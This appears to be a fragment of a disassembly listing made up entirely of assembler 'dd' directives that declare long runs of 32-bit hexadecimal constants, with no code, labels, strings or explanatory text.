		dd 0C94D2785h, 0DB005C94h, 5920E222h, 5DDBB53h,	0E943DE5Bh
		dd 28814239h, 2A5E5AF0h, 0CBB72C76h, 0AC7B170Fh, 7295A547h
		dd 2E82AF24h, 1250FFEh,	7FA082CDh, 5CF32902h, 0D93C0409h
		dd 90D1FF1Eh, 223BE1ECh, 0A6996881h, 2B72CDDh, 288BEE80h
		dd 9789FFF5h, 0A4F85D82h, 38EF5905h, 0D4542EEh,	0BF7E7FEh
		dd 5EC086E9h, 0CA383BBAh, 24AE4AEDh, 7997C756h,	0CB0BF15Ah
		dd 7D3D4936h, 2C1188Eh,	3F216CFCh, 0BF0B9CF8h, 0D880F74Eh
		dd 73493EBh, 6329DA27h,	0EFF40210h, 57170B39h, 0FB5853DCh
		dd 28B880CEh, 0B1600DA2h, 79959775h, 0ACCD895Bh, 544B4ADEh
		dd 0A6923DAFh, 1019F3CFh, 0DF50FD12h, 0C77F24D0h, 3A238044h
		dd 0E2814139h, 0A161EA01h, 0F9EFE97Eh, 40A70334h, 0D94C0148h
		dd 0D60925BBh, 0D6D6691Eh, 766F4E43h, 0A1B54A87h, 81993F94h
		dd 55F07D47h, 9C59ACE9h, 87F17348h, 10197995h, 0EB4AB28Fh
		dd 5C27FB8Eh, 0B4404B54h
		dd 67C380DCh, 57F06AFh,	65D705E3h, 3B4CF4DFh, 0C0060D9Ch
		dd 5F0605EBh, 0C01BE04h, 0E8B652FEh, 26BF2B20h,	83FF330h
		dd 570FBA43h, 8B2A6268h, 10A9DE45h, 3316DEB3h, 4FA6D84h
		dd 0E5D52F79h, 66A82AA9h, 0C0EF0176h, 0E93A6F55h, 53A452EAh
		dd 0F49FF51h, 3853628h,	0E985DEA6h, 4FC4AC2Dh, 1E30A4A1h
		dd 6F2913D1h, 0C913FE54h, 4631BC27h, 0C822782h,	2435831Dh
		dd 0C820EDE4h, 0A27F959Eh, 0FF8C68CFh, 0B816D225h, 78FF4FCFh
		dd 7540AD1Fh, 4F8CF853h, 817A9349h, 1B4779F0h, 824EA25Ah
		dd 777604F3h, 0E6EB3980h, 0F8164820h, 50A01710h, 0F448C720h
		dd 5389DF10h, 31F498CDh, 7033CBC8h, 0D88892F9h,	4EF8BB0Fh
		dd 8E8AAF57h, 8EF7FC4Ah, 867AC55Eh, 0EF4E8C8Ah,	0FF0BF694h
		dd 579CDF02h, 8EA998FCh, 23BF2A5Ch, 38A268C7h, 0E19088F4h
		dd 4070E840h, 9205B8CFh, 2902502Dh, 0D6D5E5ABh,	0EC370B8Fh
		dd 34BDA403h, 34FE3610h, 0A982A45Dh, 665FACD1h,	0B8774B0Bh
		dd 0BEE5C469h, 0D5C461ABh, 0E323615h, 36FF479Ah, 9D016D64h
		dd 49453160h, 7C94F52Bh, 11D20F65h, 86BC7D71h, 6F5D5633h
		dd 2160B18h, 0D1AB0318h, 55C9BA51h, 7B9FAF96h, 0FC5F3E5Ch
		dd 0E378897Bh, 4667A91Bh, 4B84932Dh, 5F001262h,	135A5FE3h
		dd 2FD37D29h, 7CFCF39Bh, 9FF28140h, 0B4D02763h,	2D410EFEh
		dd 26E85285h, 0A15D975Dh, 0AB84E9A0h, 0D892A33Eh, 244B34D2h
		dd 34F126CBh, 0E9080224h, 4880F3D4h, 0ED741F5h,	0CD4296A1h
		dd 0A9E97EDAh, 3E1525Fh, 8945F6FDh, 670C6E7Fh, 0C0F506Ah
		dd 18231693h, 2A50EB06h, 140C6808h, 0CBC95D27h,	0B86F09EEh
		dd 0DACEF533h, 0EE45BC13h, 24846674h, 0B8E21DC1h, 13CD8100h
		dd 356F6A1Fh, 4526B56h,	8D38F3BBh, 0A6015393h, 5B029434h
		dd 527BF8F8h, 47015A16h, 5AB7D4C8h, 0DE2DEBC4h,	0E8D64167h
		dd 879DC606h, 0D6BB0E44h, 81270706h, 857860E3h,	83254B1Bh
		dd 5BD7EEBh, 0E0793ED1h, 0C07A5FDCh, 57FFD24Eh,	8982ECA8h
		dd 6534FF59h, 6A7A3095h, 0B598B710h, 710E20BEh,	0B6E96B67h
		dd 68C4A5ECh, 298CAA3Bh, 15C93DBEh, 8075432Fh, 807CC504h
		dd 1E0CC105h, 2B9D2FFEh, 5B30D4B1h, 27A8BC4Ch, 25331E77h
		dd 0DC9BB418h, 74DCF5CAh, 939C6527h, 0E2CAA52h,	0E3454B6Dh
		dd 0EC3C1674h, 0AAD2A9F2h, 935106F7h, 0F029AE2Bh, 34DCE42Eh
		dd 0EDCD054Fh, 0AB31B261h, 0FE29FE2Fh, 677490F9h, 32630BBFh
		dd 0A6567CC6h, 27CB6788h, 2E806B89h, 27DB1440h,	8BB85002h
		dd 5F7C917Ah, 0EFAC6C05h, 2A82FE74h, 0CF810092h, 473D0D72h
		dd 9F35962Ch, 0B50BBBEDh, 0D4DE8845h, 3E34BA05h, 0FEDD05EBh
		dd 530CC3CEh, 30D1F698h, 545AF125h, 55DC272Bh, 0B252803Eh
		dd 0E90CB364h, 0E7D44A3Eh, 4BC74C44h, 2821D0AAh, 0D1509C23h
		dd 0E5624890h, 63EAD02Eh, 15B2C427h, 5D42F730h,	585F5E68h
		dd 53B2CBF8h, 25003CD0h, 577D766Fh, 5001C083h, 0C2DDD548h
		dd 0DBE9B19Ah, 532DF1FCh, 4433641Dh, 0F7067D99h, 2D1F04D8h
		dd 0F213A107h, 0D931AD4Bh, 5355C560h, 0E30201A6h, 60D36821h
		dd 8214EB17h, 25B89B3Ah, 5FB00962h, 7DC9137Bh, 0D3091D52h
		dd 80232554h, 8C676E48h, 0E638C002h, 2139F1A2h,	0EDC990B5h
		dd 5D7282EFh, 0D4374FB0h, 0B465157Fh, 0D10978D1h, 5B571088h
		dd 0F04AAD39h, 6BB504BCh, 1491B86h, 0EF581035h,	0A5CD8217h
		dd 5077396Ah, 1EF0B7ABh, 5EF32907h, 309B7E68h, 81B580B0h
		dd 0BF6F2B4h, 5AF59C39h, 0BF08DD16h, 2D8CAA90h,	3CFFFD76h
		dd 0F8E917F8h, 30E4F242h, 7B68E987h, 3290B578h,	0A507BB53h
		dd 0BF29661Dh, 79934391h, 2881A840h, 0E91A0BF6h, 6748BCE0h
		dd 0E62C12C3h, 2C3A6359h, 4A03705Ah, 121D9868h,	0E2DEEC79h
		dd 0B58F20A0h, 765D83EAh, 117EAF0Bh, 1068EEC1h,	97565AD0h
		dd 465E2983h, 0C67A1801h, 37053A72h, 0EA2F9FC8h, 0D4760249h
		dd 2DF0013Dh, 11B4078Eh, 1CF55E25h, 8CF99523h, 4C904E95h
		dd 5BAE0AA8h, 0D51F8ADFh, 71BA2D78h, 42A66052h,	7F950AC6h
		dd 0A52013h, 13620DF9h,	250130A5h, 290B77F8h, 407B64E9h
		dd 3874C35Bh, 429D39E4h, 0E9E8C1B0h, 906A65D1h,	0C5DBBAFh
		dd 0C6006C4Ah, 34F51C70h, 0ED10C801h, 0E06F3A4Dh, 0E55BD3DCh
		dd 96BD6DBAh, 64EA31B9h, 6B09AEBFh, 9509509Ch, 6B7270D4h
		dd 2FE998AEh, 114AB553h, 33E98833h, 0D63862F8h,	288C2F9h
		dd 0FD1AE985h, 254CE6AFh, 59187D5Ch, 6DCC6B1Ch,	0BD3D10E8h
		dd 0E2568490h, 688A510Eh, 93609673h, 2DBC3DA6h,	0BAD8296Eh
		dd 0BD6DF68h, 2F017227h, 17CBBFE9h, 0B394FEB4h,	0E8A60EC2h
		dd 96F189B7h, 5A530B3Fh, 0C6AEF910h, 12F52880h,	0EE11C580h
		dd 2B4292Ch, 0E9E528F1h, 0F3E4D950h, 92E96D4Bh,	0BB66310h
		dd 79453268h, 0EEFB9757h, 7411F346h, 83337525h,	6E0181D1h
		dd 92115098h, 9574B82Ah, 0E9060E97h, 0B5DB88Ch,	21271D70h
		dd 8AC9F600h, 1E50796Fh, 9F17D2D6h, 63B84009h, 3FEB210h
		dd 0E7800FB7h, 0A9C7C3CAh, 823F87CFh, 0C307D767h, 885BA00Fh
		dd 4E61E9F7h, 7364F79h,	49A23905h, 2706CAE9h, 801C2121h
		dd 0CDDD84EDh, 0F5B30C32h, 0F828E982h, 749CD41h, 3D87518Bh
		dd 0FEC89E9Eh, 394F5C4Ch, 88C7AD7h, 69E3B5D9h, 5173FC2Fh
		dd 4258E014h, 90B026D9h, 182745B4h, 5E1A6846h, 3824D928h
		dd 916C0B32h, 4ECC877Fh, 1204D636h, 0D0E7F0E9h,	523E9D0Eh
		dd 0A3C44C4Fh, 0B61701AFh, 40543A24h, 0D77C06D1h, 60D1CE3Bh
		dd 9FBC8B1Ch, 5E39900Dh, 5EDB8E41h, 8EA9C291h, 0EFC41B7Ch
		dd 5AD04AEh, 60A9B1ABh,	8560FE19h, 398AC391h, 0B9664F0Ah
		dd 2F0841F9h, 0D7557D44h, 0E87D99EFh, 50B9B041h, 0F5DD2DBCh
		dd 6B215139h, 0E91F5CFDh, 815CA573h, 1210F453h,	0BF5BC619h
		dd 432CDCF2h, 13D67B5h,	54E9F0B1h, 8D8C6FD9h, 641F1318h
		dd 0D4C20112h, 113E8A5Ch, 0B23E0D1h, 97264180h,	0D309F77Bh
		dd 0D0A5E94Bh, 0E3BA04F2h, 0AC18FB46h, 5AA4106Bh, 92B35301h
		dd 0C18CC380h, 0B1D7F4DCh, 0BCD879B5h, 8D69CB93h, 7C4A2FAAh
		dd 0BE8EDEB9h, 15AA2425h, 0B8AF0B84h, 35F64AFFh, 0CAADC684h
		dd 0E8E65EA6h, 9B686361h, 558C3E3Bh, 771B540Fh,	0FA7454E9h
		dd 2D5377ACh, 1C45999Fh, 0A454773Eh, 929001D4h,	5EC6520h
		dd 0FD642DBBh, 70DE822Ah, 65597709h, 0D105BA0Bh, 7B068C7Ah
		dd 0CAFEE661h, 0A4E3104Fh, 8070991Ch, 0BBEF8178h, 7458E51Eh
		dd 51DA00A4h, 0C73103B4h, 0A3F1BF58h, 2966D225h, 4B87E3C0h
		dd 0C302705Eh, 0E13DB749h, 0F66F3FD1h, 31E9C251h, 75D1F54Bh
		dd 98C45C64h, 93F5F2BBh, 909910BBh, 9E98D32Dh, 0E5953E38h
		dd 0B942D31h, 5BF4F14Dh, 7E49FC01h, 9EF34328h, 655CC441h
		dd 552413B4h, 0FC51F7F4h, 0D8774F92h, 0E1441A05h, 389B09CFh
		dd 0BC7A056Bh, 7E1319F2h, 0AE0E3F3Dh, 0D4FDD7FAh, 2C85A2A5h
		dd 0EB458416h, 0C125AEEh, 49D1F257h, 800963AFh,	0F9FE6FCEh
		dd 96E2B608h, 0BD8BF55h, 0BE00E557h, 1D2554A2h,	9C17707Dh
		dd 0ECF7629Ch, 0BBD2D00h, 50033D63h, 0D290ACA7h, 682619D9h
		dd 92D8114h, 6952799Bh,	0B7A17ADDh, 0E958C5FEh,	0C58DBA4Ch
		dd 0F2C30D0Ch, 0EC2151B8h, 7C01DD76h, 0AD0F781h, 417A101Ch
		dd 0FA9A8F78h, 0B1F02BC6h, 0B225BE9h, 125E059Dh, 1DF5DABAh
		dd 27AFD7EAh, 0E03E75E1h, 0C600317Eh, 0A1279C7Fh, 0BD02C0C6h
		dd 0A39013F5h, 0EEEB11C7h
		dd 83463B01h, 0CB08DDF6h, 0B9AEDC36h, 0D7C38A6Eh, 29419D02h
		dd 5D34426Ch, 891FB4AFh, 38A9B1E9h, 3C93D3F5h, 94FDBC2Dh
		dd 3CCA3674h, 31F82B19h, 0CB06D965h, 4FB0648h, 8497E9DFh
		dd 38ADEA60h, 0D6125F94h, 2EDC29BFh, 8B7E34EAh,	0E368097Eh
		dd 1714FF17h, 0DA58D49Fh, 13FE96FFh, 355F3B68h,	512DF086h
		dd 0F8F0A12h, 0F15027B6h, 0ABCC83FDh, 0C305DCE8h, 0BA541E68h
		dd 0EB37E31h, 0FE9FB13Fh, 0EB0901F8h, 2B450ABh,	3E17A7Ch
		dd 55B0F72Dh, 0D0280168h, 5A480705h, 7DFE257Ch,	66106016h
		dd 92AC83Bh, 425A00C1h,	38BCEA81h, 58900A72h, 0DF11D316h
		dd 5FFB7205h, 0B01DF89h, 0E5282EE9h, 0A307BC5Bh, 28400F58h
		dd 1D2E035h, 0D73B9270h, 3177E26h, 3F628AB0h, 0E9827794h
		dd 653E33E3h, 75E780DDh, 971F922Ch, 22589D42h, 3B41BB90h
		dd 0E46A8402h, 85A161CDh, 0B240478Fh, 0C1542710h, 676D74B7h
		dd 0F207EE4Bh, 80D4CA01h, 6FF42494h, 2B8E120Fh,	0AAE484A8h
		dd 17E9F630h, 1694BDE7h, 25C40E20h, 815FCF28h, 0EF30DF25h
		dd 0F87B2CD8h, 4E0474F8h, 0C164FA5Bh, 35EFA80h,	315F270Eh
		dd 573E92A4h, 0BA96EDE9h, 18EF772Dh, 976DBF30h,	491E1DCBh
		dd 6ACB6695h, 0CBD57ED6h, 4C5E22D8h, 0DDC23092h, 2FBF9671h
		dd 154E0B2h, 0C57D91F1h, 1B90EEEAh, 0C28ED8E9h,	3024DEA7h
		dd 38896AE2h, 0D2687418h, 93CC574Eh, 0A3474EF9h, 640B1888h
		dd 714FE1BBh, 40E765Eh,	0B3F3C2C1h, 27C8C0FDh, 5430EC44h
		dd 1950804Ah, 0C266073h, 701C53CCh, 829D71FBh, 130D2D12h
		dd 0C1247DF5h, 0C9DEC0CDh, 4C58901Bh, 6FAE1664h, 5D7840E2h
		dd 5015429h, 0C908814Bh, 0F5077189h, 7A9435F8h,	0B292DAF7h
		dd 31023063h, 0B5418E68h, 0A000A053h, 0E9458361h, 0E9EA583Ch
		dd 9A21EAD3h, 8C6B5C8Dh, 0A94FF148h, 0C922DBF5h, 1C6F090Bh
		dd 0F7DB9A5Fh, 0BB900252h, 0B75DEF2Eh, 2FFBA039h, 70D45E5Bh
		dd 0C24682C9h, 30010675h, 0B6D64997h, 0AF4F973Ch, 12DD3ACAh
		dd 0EBF2BA14h, 6B2EE92h, 6FF98D6h, 2BFAF85Ah, 6720A051h
		dd 0E90710D8h, 3E151878h, 80E7F508h, 0E0807502h, 0B53480A6h
		dd 80E8BE80h, 0F080373Dh, 95E180C5h, 49980D81h,	6F8F0927h
		dd 8063C080h, 1C80B4F1h, 69368056h, 1988C381h, 4908C094h
		dd 0A3F2086Ah, 84E9F08h, 2E08D99Ah, 440908E2h, 0A933770Ch
		dd 88B2812Ch, 8A05651h,	10085D73h, 0CC7C087Eh, 0D949BA0Ch
		dd 0DFFA80DDh, 521E1D8h, 7AC78077h, 248329C8h, 6508314Eh
		dd 10D5038Fh, 31BEF411h, 81B9B9C2h, 1311901h, 0A201D152h
		dd 368D019Ah, 12C5C301h, 0F8570768h, 995C2D0Ch,	88D68176h
		dd 8D089A9h, 63087B3Bh,	0D62038D2h, 5FA4CD54h, 9D8FE0A8h
		dd 0D1B02E80h, 8210E4B9h, 0DB341059h, 4DC04F3Ah, 409C9F40h
		dd 604012D3h, 0BBD740E9h, 40AE3040h, 0E540676Bh, 0AFE7407Eh
		dd 4084C340h, 0AA4010E4h, 0ACC9401Eh, 40324B40h, 51C69495h
		dd 88B99EBBh, 81B1CFC0h, 0F49057B9h, 51290C6Eh,	0EB9640A0h
		dd 402BED40h, 8740CCB5h, 80F9CC22h, 47400F91h, 0BF8840D6h
		dd 0C4489C40h, 4E02059h, 5B044413h, 3D18126Ah, 81A22108h
		dd 1DB0517Fh, 0A67A0274h, 20A98CF8h, 5332E28Fh,	2D5394Ah
		dd 0C6068A1Ch, 3D1F32D9h, 0B2025431h, 94E0028Eh, 0F44C6A05h
		dd 40C5A9E9h, 5540DABAh, 2F3B40A5h, 4FFBA1C4h, 0F8A9820Ch
		dd 407C3240h, 0B94072E6h, 3867402Eh, 6C7D2D40h,	0D4B9E937h
		dd 0A87B01FBh, 181C301h, 1E014C91h, 3FD30178h, 157C401h
		dd 0B190CEB9h, 0DD431939h, 41015371h, 8552019Ah, 9599C9B3h
		dd 0E18B3133h, 8F89101Ah, 0DAEB10C7h, 108DF010h, 53105083h
		dd 0B02A2A90h, 0C1A8D755h, 0B0B70182h, 7520E916h, 9CCD5491h
		dd 0D96B645Bh, 9EB50480h, 0D061320Ch, 5A78E040h, 513CFAD6h
		dd 862B7F37h, 46284F3Ch, 9D2C68B8h, 0D1933252h,	0FF4A4FE8h
		dd 0E9821A8Ah, 16566705h, 0C52B2E83h, 0D6BC0473h, 0FA8C3AD4h
		dd 90F2BDD1h, 4023F77Eh, 16C92DEFh, 5305565Ch, 8118A1F9h
		dd 10CFC17Fh, 463AB83Dh, 1D0F0E09h, 0AA73C205h,	87EEB96Fh
		dd 7BE590A4h, 747FD72Bh, 34DDF505h, 91AB3B18h, 0CDC942F7h
		dd 0F0A02F54h, 484E6F44h, 29685A01h, 0C5EA3C02h, 31BE1C49h
		dd 6476D6E7h, 0C19FC2E9h, 0CCF44314h, 0E2C12758h, 631A87DFh
		dd 34C6F509h, 79578382h, 0BD9889FAh, 463BB0DFh,	34C1A99Ah
		dd 0B412072Ch, 0B8D8FEF9h, 51C31F28h, 0EACA7AB1h, 802D90C1h
		dd 0D274A36Bh, 0ECA54EE9h, 0FEFBC4C6h, 6C1396F3h, 126DFB84h
		dd 18C0F62Ah, 0C6E7965Bh, 0B6044F8Bh, 5DA29AC8h, 16735CFCh
		dd 0F1D0E999h, 28BE2F0Fh, 59628508h, 405BDE6Bh,	8048FD2Ch
		dd 0EBEECF87h, 550EA569h, 0A78F7DC1h, 44CED5D9h, 68C02054h
		dd 1771DE00h, 0EB815B63h, 8C531D1Ch, 96C3816Ah,	6B2D9AE4h
		dd 0B709ECF0h, 6D09E752h, 57FDBEF0h, 9C3E6973h,	5F383729h
		dd 82E155B9h, 1704055Ah, 498181Bh, 1F681650h, 7961F37Eh
		dd 0B95DBD31h, 0A33E4E0Eh, 0B119171Bh, 0E34EE7BCh, 28E9E186h
		dd 0B8DD003Eh, 0EDFDFFF6h, 0BD4A7295h, 5410F981h, 79E9CD92h
		dd 7BB84FCBh, 0FA1C8713h, 41DBBA98h, 918483FDh,	0C212057Fh
		dd 0C04A7732h, 2C9845F5h, 0A0FB3550h, 0BB045344h, 30FE7C15h
		dd 0F388F0FAh, 0F9F05005h, 85FE89C3h, 5C4FB55h,	0D4D8B3EAh
		dd 5E5F4911h, 5084C7E9h, 0AEB18253h, 0BD2B4E7Fh, 0B350E4B6h
		dd 0C18A6B70h, 32E1A900h, 9651106Fh, 7467C81h, 0A9013B15h
		dd 21147A7Fh, 0D0B7A06Bh, 0D182513h, 0D9D4F101h, 122FEC08h
		dd 12F7ECA7h, 6CBA95AFh, 8F092D28h, 0FC3B0A20h,	0FDA7BECEh
		dd 608DAAE7h, 8C3B0A62h, 0BE0556E9h, 39541A84h,	8C988404h
		dd 42FAC17h, 72AC3DD1h,	3E3B8EFBh, 11E1F023h, 0F03082BEh
		dd 64C6FA28h, 0C2EA279Fh, 0C00912E5h, 1C59FCD9h, 0E8586035h
		dd 0E95B0B06h, 2A518625h, 234143A8h, 9722AF2Bh,	974678B4h
		dd 43071C75h, 0DABC4E29h, 0E4F5CA8Bh, 4AAD806Bh, 6EB98051h
		dd 20323A1Eh, 0CCA1FA92h, 0C9B9E87Ah, 8007A0E3h, 908B4C2h
		dd 0EFD05AD7h, 60DA8FDDh, 0CEE995F7h, 3126C0BCh, 0B85051D8h
		dd 784F1D00h, 58C18932h, 703A0E05h, 0FEBC4AEDh,	0E92FB883h
		dd 3607798Dh, 4004E0C1h, 641CBAE0h, 2BE98807h, 52764C92h
		dd 0CAFBF37h, 5DEE29C0h, 0FE344E87h, 0F226439h,	0AE3DA412h
		dd 0FD41FB73h, 55953DFFh, 9030B67Dh, 0FBF084C4h, 18621BBh
		dd 0A09878DAh, 9A65E957h, 27EE768h, 447C6885h, 9520E371h
		dd 0B034AC07h, 6D90252Ah, 30E9460Fh, 0CBA571B1h, 8A3367D3h
		dd 802FB058h, 27E92504h, 715EB457h, 0E2A8540h, 0CBCB076h
		dd 34440C2Fh, 1A71380Ch, 6A4A7E30h, 4F854055h, 284CAA39h
		dd 0FA0BEC07h, 0F8FF5A14h, 8BDA8EB6h, 93C063CFh, 0E90CF842h
		dd 0A89A5B7Ah, 12F7A8FCh, 0FFBC68F1h, 0C754AD32h, 0C6FC256Ch
		dd 2857B6C2h, 35958EB2h, 5B8EEA12h, 71370A31h, 0D9A2070Dh
		dd 608EF63Eh, 8CD5663h,	7E0BD1B8h, 80359C33h, 0B7C3BB7Bh
		dd 5A11B045h, 4FE58A8Fh, 0A59A2DAFh, 8045E5B8h,	18685756h
		dd 6AED050Fh, 326AAE0Bh, 0DC245D5Ch, 126EA84Bh,	0C2074048h
		dd 5D0B97EDh, 0F49DC465h, 0E978ED01h, 0B33FB2ADh, 40A692B9h
		dd 1515B12h, 0B17D8D05h, 0CAC8F230h, 821277C1h,	0B4BFCF4Eh
		dd 501F6A57h, 0F6C257E2h, 82A31655h, 0C644B787h, 4D2CF01Bh
		dd 0EA272ABBh, 4D77C3E0h
		dd 0ABF06876h, 4EEC4A12h, 0E90D33F9h, 3B2EA916h, 89A27E27h
		dd 0A5D3A31Eh, 0C50B1343h, 92C7ED33h, 15831F0Ch, 0F3990E5h
		dd 76CD27D0h, 626DFCA5h, 227D517Fh, 7E471879h, 3D5868Dh
		dd 0C602F240h, 290C99C5h, 35E43E9h, 6978CF23h, 0C0524DDh
		dd 3FC25DE6h, 3E728EF4h, 8FD0058Ch, 250C0F76h, 0E9E53101h
		dd 509AE111h, 604518Bh,	0A6BC894Bh, 0EEDB172Fh,	0E950E6A6h
		dd 0BA26535h, 127BCD6h,	42363CBFh, 0C17E0963h, 6E06E11Eh
		dd 92C0FF84h, 78A8142Ah, 6C542416h, 56515094h, 11B06872h
		dd 994A7772h, 0AE08AA0Ch, 0BCB44F25h, 4455CFDEh, 0A2C81EF9h
		dd 0F8054BE4h, 71FFE4F5h, 64C0E97Dh, 3190281Bh,	2CFA8A5Bh
		dd 702CE9B0h, 68855485h, 7FF36233h, 82022565h, 2EFF815Dh
		dd 4DDCE548h, 8FD91897h, 880832E5h, 0C66801A4h,	0F947C119h
		dd 0D245A015h, 97F3C70Fh, 29536998h, 122C8B4Dh,	0C6D180C6h
		dd 3B7D7A39h, 0B480179h, 9D580840h, 0F71D5BECh,	231368F9h
		dd 2682D837h, 90345553h, 0C00A7C95h, 738079F8h,	37368EC1h
		dd 0D300967h, 2E6F0358h, 7EBC15Bh, 89F1064Ah, 6BFCF86Fh
		dd 16E10008h, 2D6EF556h, 8FC2DA09h, 0BD55DE20h,	0EC262745h
		dd 6A02582Bh, 57688D0Ch, 213037Ch, 0E29FAD5Fh, 517B9A70h
		dd 47A20468h, 0E85949D3h, 84813950h, 0EB5C31A0h, 93D7A9EFh
		dd 8F780E00h, 0BF894FB9h, 9D40EA56h, 13DAA36Ch,	0ED1421E9h
		dd 51D39E46h, 0F6D43CF9h, 13584C84h, 2FB2CBBFh,	0C1F5DC59h
		dd 0AF617EE9h, 7C450C7h, 64FA4F66h, 410FD29h, 10A0C83h
		dd 7C9F0824h, 412393C0h, 0FE0BB319h, 0B18FE4CBh, 0A5AB6FD2h
		dd 3AD3ECB3h, 36B216C3h, 28E80B88h, 215E5BDCh, 0CA9A1A2Fh
		dd 0E928E820h, 57C2E98Eh, 16C2F771h, 4B46755Bh,	7F4BF5F2h
		dd 1FE1CCCCh, 4D33FA31h, 3A1A2292h, 483B50A2h, 18211605h
		dd 0BA95013Ah, 2FC8C973h, 7EEEF51Ch, 0FC36D527h, 5208C09Dh
		dd 0F7E91354h, 30F89067h, 214CC51Dh, 608804D2h,	63B84797h
		dd 54737D12h, 901BC0B9h, 0CEB98AF7h, 4D9D2059h,	6A1F6118h
		dd 20069D0Ch, 0A2166BCCh, 0FF0A6529h, 50A5D9C5h, 54589580h
		dd 50BBF69Dh, 3A9F77F7h, 7969C1D8h, 8DC3FADh, 0C2623902h
		dd 0FD3AEA6Eh, 0B857DC05h, 66E393E3h, 439A1F2Eh, 58C25EF2h
		dd 0BE0ABD50h, 0D87F2277h, 0A842608h, 0BDB8AE68h, 2D0CF81Ch
		dd 80A396D7h, 19E00508h, 9A737B79h, 9207462Dh, 4159F130h
		dd 4A5A7DC7h, 0A241FAFBh, 71FC0D99h, 94EEAD2Fh,	555802A2h
		dd 574B1FB2h, 0E1C91884h, 4C8F7F5Bh, 1874FA5Fh,	0A9D557F8h
		dd 14044D4Ch, 0C50FAD3Dh, 0C026246Dh, 593203E2h, 36D21F4Ah
		dd 395760B0h, 977432E9h, 0E941F357h, 87B9029Dh,	0C112D1Fh
		dd 3E204BCDh, 12E91357h, 1324AF9Ch, 6B443DFFh, 47E16321h
		dd 0C7F8BB9Eh, 0F94B2C5Bh, 244CC755h, 5AA410DEh, 0B376C080h
		dd 3000B06Bh, 251892F9h, 703D5CAAh, 483E1944h, 0D92BC8BFh
		dd 9C062A52h, 2F576EF1h, 1ADDF628h, 5E328088h, 904C716Fh
		dd 6D1B0BB2h, 695827D9h, 217BE00Eh, 0BB2AA469h,	0C54B128Bh
		dd 0B36F00F1h, 0F775BD5Ch, 14A34C2Dh, 351E2757h, 6DC12693h
		dd 0C3518127h, 0A532FC8Ah, 0AB32AE2Ah, 433C853h, 0D8281DDCh
		dd 0CE0262Ch, 90CF797Ah, 0C3F8105Eh, 496B36B9h,	657D1007h
		dd 5808BF01h, 304774A6h, 17140AA6h, 3DBB6F39h, 7660BC4Ah
		dd 150DCD06h, 9184C8Fh,	0E67B08E1h, 0DC83E250h,	4C83AD0h
		dd 9CA2F9F2h, 0C4820808h, 64CABF89h, 0A8CB413Fh, 0EDBAA453h
		dd 0F54D8569h, 0E8DB4AFFh, 0E0D38AA4h, 16962EE8h, 190EEB66h
		dd 3431AA46h, 0ED9557ADh, 801D6697h, 0D124B4D0h, 74A402F0h
		dd 0B5E070F8h, 382F2436h, 0B5E05041h, 0B059ACAh, 178BCE58h
		dd 64EAA18Fh, 0B8C4EAE1h, 9E3C16C8h, 2328027Ch,	39DB1805h
		dd 7FC77D49h, 3DD8E985h, 68090AE7h, 501A35EBh, 0F68DF822h
		dd 73823276h, 0F63F3E15h, 4A088BB9h, 0EE82BC7Eh, 0DF4C42CCh
		dd 66070F9Ch, 0E9631A68h, 6CE49AC5h, 0AF6C134Dh, 0F7F0BA40h
		dd 1F40B61Ah, 0CD05B1FEh, 2885D880h, 0E959EB05h, 0E2C84BD6h
		dd 984FFC2Ah, 3C0620D8h, 0B23A22C4h, 54EC5BF5h,	0FC4961A9h
		dd 41690633h, 7A2D57D8h, 0E21CB8B6h, 1E5D2708h,	0F42920A3h
		dd 1933D695h, 3406B075h, 381D56F0h, 0B2423F8Bh,	0FD791065h
		dd 6072488h, 2C1F46E9h,	5EF1882Dh, 0B4CEC63Bh, 7E02622Dh
		dd 310166E5h, 90FE8051h, 0B90339D4h, 19BDD1Eh, 0D399468Dh
		dd 559F1AAAh, 6497149Ch, 178E380Ah, 0CC2BFE5Ah,	7262E15Ah
		dd 5D50CBE4h, 0D9F72410h, 7AE1C13Fh, 2F29974Dh,	0E0CAD65Ah
		dd 6B0057Dh, 0ADCCE912h, 0C8290647h, 38BCC084h,	4B78C140h
		dd 0C406F8F3h, 458CACE2h, 0FAF2F351h, 0E5EA073Bh, 0FBCF59DFh
		dd 175EE09h, 0A3EFE968h, 33352281h, 20739442h, 5600D55Ah
		dd 0CA815E96h, 483120B9h, 48C6058h, 8012084Eh, 0D4AFF5FEh
		dd 0C643A285h, 9FF73644h, 3C4D7849h, 0B201D3B4h, 1F1A3890h
		dd 6C787887h, 10DF1A5Ah, 77B81F16h, 486BF6C9h, 1272104Ah
		dd 0EB297D64h, 0C4010E3h, 0B6EA32E9h, 8455E781h, 43EE0956h
		dd 981A8773h, 92F001C2h, 0F71C572Fh, 0ED77A79Ah, 4E68059Ah
		dd 57604B75h, 9E58445Eh, 32313C4Eh, 0A2C4C72Dh,	0F5FA3B22h
		dd 5A93C2FBh, 0C260B4D0h, 0BF0A2FACh, 976E9900h, 2ED6F776h
		dd 0A8E75646h, 81BA78DEh, 527BDE54h, 0D662592Ch, 585A7C5Ah
		dd 0B6A0C329h, 0F02857E0h, 1EFAE713h, 0E9479217h, 0F8356716h
		dd 0AAED24AFh, 0E6BA2352h, 674D7DDEh, 0F1F44ABEh, 62C0ED5h
		dd 0D00EC204h, 65483BDDh, 91734213h, 815B0D79h,	2B9AF7E7h
		dd 0E06F2F55h, 354459CAh, 640490D7h, 0AF5C11B3h, 40FBFA8Ch
		dd 3E0B2DF1h, 0C2236825h, 1C070B0Eh, 9DB2204Ch,	22DAD39h
		dd 5322976h, 72FCC1C3h,	130B12Ah, 248A6807h, 4C35E9E6h
		dd 0C0450A32h, 7FE248DFh, 0E9115C24h, 5561860Fh, 7827D068h
		dd 701DD244h, 7B020F97h, 41992B81h, 0D16E0755h,	0C1A9EBBBh
		dd 0F422E8F3h, 0E207B95h, 0FA1303FEh, 680B248Eh, 0AFDB3D35h
		dd 511D0219h, 0FAF3843Ah, 82CE7081h, 58D3F23Eh,	9EAD2008h
		dd 0D2DDC9A4h, 54E913F0h, 0B4A5266h, 6F946C45h,	1C9E6815h
		dd 0FB091894h, 50BC05B9h, 0EED8D845h, 510FCF2Dh, 2C58B9A2h
		dd 1860666Ah, 625BC068h, 23B3CF61h, 0A7F597A7h,	0ABCF566Fh
		dd 0B73B4638h, 310AA845h, 0B9822630h, 70525745h, 7A0548BDh
		dd 3B070E05h, 0D8920131h, 0DE55092Bh, 4D50563h,	0AC063491h
		dd 0B20B9224h, 0EEAF291Bh, 39AA2021h, 0B4F58107h, 6B1F0C01h
		dd 0B52C529Eh, 0EE1B2A85h, 677EC38Eh, 635F593Ch, 2900B399h
